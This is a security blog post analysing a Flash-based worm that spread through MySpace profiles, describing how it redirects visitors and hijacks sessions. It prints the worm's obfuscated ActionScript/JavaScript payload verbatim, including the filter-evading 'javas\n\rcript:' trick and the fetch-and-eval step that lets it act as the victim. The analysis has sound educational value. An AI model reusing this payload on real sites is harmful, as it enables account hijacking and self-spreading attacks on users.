MySpace has been infected by Flash based (swf) worm which spreading rapidly through MySpace. It is embedding JavaScript code into users' profiles that redirects visitors to a site claiming the U.S. government was behind the 9/11 terrorist attacks, Symantec warned Monday. However it may be just the tip of the iceberg. Let's take a look at how it works to understand how it can be easily modified to deliver much devastating payloads.

The unnamed worm isn't malicious but the Shockwave Flash (.swf) file containing the payload embeds JavaScript into the profile of any MySpace user who views the .swf file. This can easily replicate Samy is my friend worm without breaking a sweat.

This javascript code would then be interpreted by any user who visited the site, allowing sensitive data to be stolen, such as a hash value required to carry out operations as a user, and performing operations on behalf of that users (without consent obviously). Currently, that access is being used only to spread the JavaScript code to other profiles on the popular social network site.

If the payload is malicious, it can carry out secondary attacks like targeting recently discovered vulnerabilities affecting Microsoft Office content. The impact would be much higher exposing even sensitive information on your hard-disk.

Let's take a look at the worm, thanks to research by kinematic.theory:

When you visited an already infected page, there is a Flash object embedded ("redirect.swf") which contains the actionscript:
getURL("url");

It opens and redirects you to the specified blog URL.

On this blog url there is another flash file embedded - "retrievecookie.swf". It contains:

getURL("javas\n\rcript: var x = new ActiveXObject(\'Msxml2.XMLHTTP\');x.open(\'GET\',\'http://editprofile.myspace.com/index.cfm?fuseaction=user.HomeComments&friendID=93634373\',true);x.onreadystatechange=function(){if (x.readyState==4){var pg=x.responseText;var sc=pg.substring(pg.indexOf(\'BX-\')+3,pg.indexOf(\'-EX\'));while((sc.indexOf(\'
\')!=-1)||(sc.indexOf(\'-XXX\')!=-1)){var n=sc.indexOf(\'
\');if(n==-1)n=sc.indexOf(\'-XXX\');sc=sc.substring(0,n)+sc.substring(n+5,sc.length);};" + "eval(sc);}};" + "x.send(null);", "");

It opens another blog post (link) and evaluates its contents.

This code gets your MySpace hash which allows anyone to act as you on MySpace and perform any operations on your behalf like changing your password or adding someone unknown as your friend, anything you can do on MySpace. Currently the code adds a message to your MySpace profile. It extensively use AJAX for its operations.